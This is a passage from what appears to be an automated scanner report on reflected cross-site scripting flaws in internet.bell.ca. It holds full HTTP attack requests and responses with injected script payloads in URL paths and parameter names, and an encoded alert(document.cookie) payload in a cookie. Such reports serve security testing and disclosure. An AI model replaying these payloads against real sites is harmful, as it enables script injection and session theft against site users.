idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:00 GMT
Connection: close
Set-Cookie: SMSESSION=QFJ77e6emvfxDC3gHZiVDhVBAr/NxgFcDc1uDgy75F0qRIrz97OH4kOFR9LM8O+oIOQLMZHHhgH5t4k8GQdQiCDWmnA0qss9Mwwtn1+ilyCVLTPspNPu0QiPq6U46sihW1dC/KJ0rpNNJFDPQgJMIcLc2208GQMK2+dsOjnvKoHJ78VpAfc6iT46lGYIwRbNNnqPw1j8P01sENw+ts1wZh+WHPLxUuyE5YHJ5/gAiOFSNdNBEuOUNHMhT4d2kcL32XF/boJJ2/EviGlFGUpuQaSwNTWJGPb/oZhBeqanGfndcplCGXglqQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images92780"><script>alert(1)</script>fe1df02a1fa/flash/sifr" />
...[SNIP]...

2.4. http://internet.bell.ca/Images/flash/sifr [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31c26"><script>alert(1)</script>d9de5bd85ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images/flash31c26"><script>alert(1)</script>d9de5bd85ae/sifr HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:04 GMT
Connection: close
Set-Cookie: SMSESSION=9InUOf+gnun+9FJVg3GiLCVXtzChggVEGPRgWoqRjdZO8Bj7+6Jq5E0H/Yl33jghoCszw16HtCtgS1tVbTsVyYINeQlXkSzrhcNJC3HluHPTnXF5TBfa6lJhCncIFacsFV4S3GA90tL5RvROzqVafiUEhJAnlUGW0wnBvHMAOOg9RBkhI70+9mWx8EagkAE01wzzeN9xYSr/Ja8U17i2rRxVXWdwsOkwrCOaMdghFQi/vauvpxV3LZHAgUV2Z/uY8iG9a0SXJh/vY9LofQr1gcJpxJOvHfj0IR05XlIJcj1SW+PrAo8M1Q==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:04 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:04 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images/flash31c26"><script>alert(1)</script>d9de5bd85ae/sifr" />
...[SNIP]...

2.5. http://internet.bell.ca/Images/flash/sifr [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30d16"><script>alert(1)</script>4257aa7154a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images/flash/sifr30d16"><script>alert(1)</script>4257aa7154a HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:10 GMT
Connection: close
Set-Cookie: SMSESSION=CYXFV/s8nPVEdGtE8aUEtSVLBSzz6oiAwHloC31GC5saDaRJrENiYoNgIjWggC4zmN+XAEjcrulZwIOblg6WthtFqHbpeI5tcA2D9+keGTdEdpmHMgS0/Fx4lng7vZXBy3P33VsN/1gRCjK5dVC7s+aKhZ0b2bjc758r8gagd67343/rssfynVYT0YHjpdTF2qE0X9SH1nXRYLo917idmIa6R6q6QJNcO3I5WpSB04Pdnx2hIoa7tj/bSqQ2CKZiR/Ix5qn0n07ddMdgaDbYFd7g0U/q8dMByNPk/eyVheNc8MVHJbGABw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:11 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:11 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images/flash/sifr30d16"><script>alert(1)</script>4257aa7154a" />
...[SNIP]...

2.6. http://internet.bell.ca/Images/flash/sifr [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e2a5"><script>alert(1)</script>177c3dbcc9b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images/flash/sifr?5e2a5"><script>alert(1)</script>177c3dbcc9b=1 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; 